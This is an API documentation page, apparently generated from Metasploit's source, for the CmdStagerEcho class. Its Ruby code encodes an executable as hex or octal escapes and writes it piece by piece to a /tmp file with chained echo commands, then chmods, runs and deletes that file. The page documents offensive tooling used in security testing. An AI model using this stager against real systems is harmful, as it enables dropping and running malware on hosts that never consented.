Class: Rex::Exploitation::CmdStagerEcho
- Inherits:
-
CmdStagerBase
- Object
- CmdStagerBase
- Rex::Exploitation::CmdStagerEcho
- Defined in:
- lib/rex/exploitation/cmdstager/echo.rb
Constant Summary collapse
- ENCODINGS =
{ 'hex' => "\\\\x", 'octal' => "\\\\" }
Instance Method Summary collapse
- #cmd_concat_operator ⇒ Object
-
#encode_payload(opts) ⇒ Object
Encode into a format that echo understands, where interpretation of backslash escapes are enabled.
- #fix_last_byte(part, opts, remaining = "") ⇒ Object
- #generate(opts = {}) ⇒ Object
-
#generate_cmds(opts) ⇒ Object
Override to set the extra byte count.
-
#generate_cmds_decoder(opts) ⇒ Object
Since the binary has been already dropped to fs, just execute and delete it.
-
#initialize(exe) ⇒ CmdStagerEcho
constructor
A new instance of CmdStagerEcho.
-
#parts_to_commands(parts, opts) ⇒ Object
Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.
-
#slice_up_payload(encoded, opts) ⇒ Object
Override it to ensure that the hex representation of a byte isn’t cut.
Methods inherited from CmdStagerBase
#compress_commands, #generate_cmds_payload, #setup, #teardown
Constructor Details
#initialize(exe) ⇒ CmdStagerEcho
Returns a new instance of CmdStagerEcho.
18 19 20 21 22 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 18 def initialize(exe) super @var_elf = Rex::Text.rand_text_alpha(5) end |
Instance Method Details
#cmd_concat_operator ⇒ Object
158 159 160 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 158 def cmd_concat_operator " ; " end |
#encode_payload(opts) ⇒ Object
Encode into a format that echo understands, where interpretation of backslash escapes are enabled. For hex, it’ll look like “\x41\x42”, and octal will be “\101\102\5\41”
75 76 77 78 79 80 81 82 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 75 def encode_payload(opts) case opts[:enc_format] when 'octal' return Rex::Text.to_octal(@exe, @prefix) else return Rex::Text.to_hex(@exe, @prefix) end end |
#fix_last_byte(part, opts, remaining = "") ⇒ Object
139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 139 def fix_last_byte(part, opts, remaining="") fixed_part = part.dup case opts[:enc_format] when 'hex' while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix) fixed_part.chop! end when 'octal' if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix pos = fixed_part.rindex('\\') pos -= 1 if fixed_part[pos-1] == '\\' fixed_part.slice!(pos..fixed_part.length-1) end end return fixed_part end |
#generate(opts = {}) ⇒ Object
28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 28 def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' opts[:temp].gsub!(/\\/, "/") opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' # by default use the 'hex' encoding opts[:enc_format] = opts[:enc_format] || 'hex' unless ENCODINGS.keys.include?(opts[:enc_format]) raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" end super end |
#generate_cmds(opts) ⇒ Object
Override to set the extra byte count
47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 47 def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo " unless opts[:noargs] @cmd_start += "-en " end @cmd_end = ">>#{@tempdir}#{@var_elf}" xtra_len = @cmd_start.length + @cmd_end.length opts.merge!({ :extra => xtra_len }) @prefix = ENCODINGS[opts[:enc_format]] min_part_size = 5 # for both encodings if (opts[:linemax] - opts[:extra]) < min_part_size raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" end super end |
#generate_cmds_decoder(opts) ⇒ Object
Since the binary has been already dropped to fs, just execute and delete it
103 104 105 106 107 108 109 110 111 112 113 114 115 116 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 103 def generate_cmds_decoder(opts) cmds = [] # Make it all happen cmds << "chmod 777 #{@tempdir}#{@var_elf}" #cmds << "chmod +x #{@tempdir}#{@var_elf}" cmds << "#{@tempdir}#{@var_elf}" # Clean up after unless requested not to.. unless opts[:nodelete] cmds << "rm -f #{@tempdir}#{@var_elf}" end return cmds end |
#parts_to_commands(parts, opts) ⇒ Object
Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.
89 90 91 92 93 94 95 96 97 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 89 def parts_to_commands(parts, opts) parts.map do |p| cmd = '' cmd << @cmd_start cmd << p cmd << @cmd_end cmd end end |
#slice_up_payload(encoded, opts) ⇒ Object
Override it to ensure that the hex representation of a byte isn’t cut
121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 121 def slice_up_payload(encoded, opts) encoded_dup = encoded.dup parts = [] xtra_len = opts[:extra] xtra_len ||= 0 while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start # of a full byte representation "\\xYZ" or "\\YZX" temp = fix_last_byte(temp, opts, encoded_dup) parts << temp encoded_dup.slice!(0, temp.length) end parts end |